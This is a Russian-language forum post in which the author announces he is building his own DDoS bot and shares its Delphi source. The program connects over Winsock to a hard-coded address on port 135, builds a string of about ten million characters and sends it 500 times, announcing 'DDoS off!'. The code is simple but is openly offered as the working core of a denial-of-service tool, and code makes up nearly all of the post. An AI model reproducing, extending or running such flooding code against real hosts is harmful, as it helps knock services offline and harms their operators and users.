Пишу свой ддос бот. Вот представляю вам, так сказать, "сырье". Код генерирует переменную размером 100000нульнуль... символов, коннектится к айпишнику (в данном случае мой локальный - 10.10.34.17) к порту (в данном случае - 135) и посылает ее 500 раз. Фактически используется только 1 модуль - winsock. Модуль windows - только для оповещающих мессаг. Вобщем внимаем код:
Code
program Project1;
uses
Winsock,
Windows;
type
TDynStringArray = array of string;
type
TServer = class(TObject)
Private
hSocket: TSocket;
Addr: TSockAddrIn;
wsaData: TWSAData;
Public
procedure Connect;
procedure SendData(Data: String);
function GetIPFromHost(const HostName: string): string;
end;
var
Server: TServer;
Close: Boolean;
hPort: Integer;
hHost: String;
s:integer;
textflood:string;
function TServer.GetIPFromHost(const HostName: string): string;
type
TaPInAddr = array[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe: PHostEnt;
pptr: PaPInAddr;
i: Integer;
begin
Result := '';
phe := GetHostByName(PChar(HostName));
if phe = nil then Exit;
pPtr := PaPInAddr(phe^.h_addr_list);
i := 0;
while pPtr^[i] <> nil do
begin
Result := inet_ntoa(pptr^[i]^);
Inc(i);
end;
end;
procedure TServer.SendData(Data: String);
var
Len: LongInt;
begin
Len := Length(Data);
Send(hSocket, Data[1], Len, 0);
end;
procedure TServer.Connect;
var
Buffer: Array[0..8192] Of Char;
iRecv: Integer;
Begin
if (WSAStartup($0202, wsaData) <> 0) then
begin
Exit;
end;
Close := False;
hSocket := Socket(AF_INET, SOCK_STREAM, 0);
Addr.sin_family := AF_INET;
Addr.sin_port := htons(hPort);
Addr.sin_addr.S_addr := INET_ADDR(PChar(GetIPFromHost(hHost)));
if (Winsock.Connect(hSocket, Addr, SizeOf(Addr)) = 0) then
begin
MessageBoxA(0, 'Connected!', 'Connected!', 0);
end;
for s:=1 to 10000000 do begin
textflood:=textflood+'a';
end;
MessageBoxA(0, 'Textflood generate!', '!', 0);
s:=1;
for s:=1 to 500 do begin
SendData(textflood);
end;
MessageBoxA(0, 'DDoS off!', 'Vse!', 0);
CloseSocket(hSocket);
WSACleanup();
end;
begin
Server := TServer.Create;
textflood:='a';
s:=1;
hHost := '10.10.34.17';
hPort := 135;
Server.Connect;
end.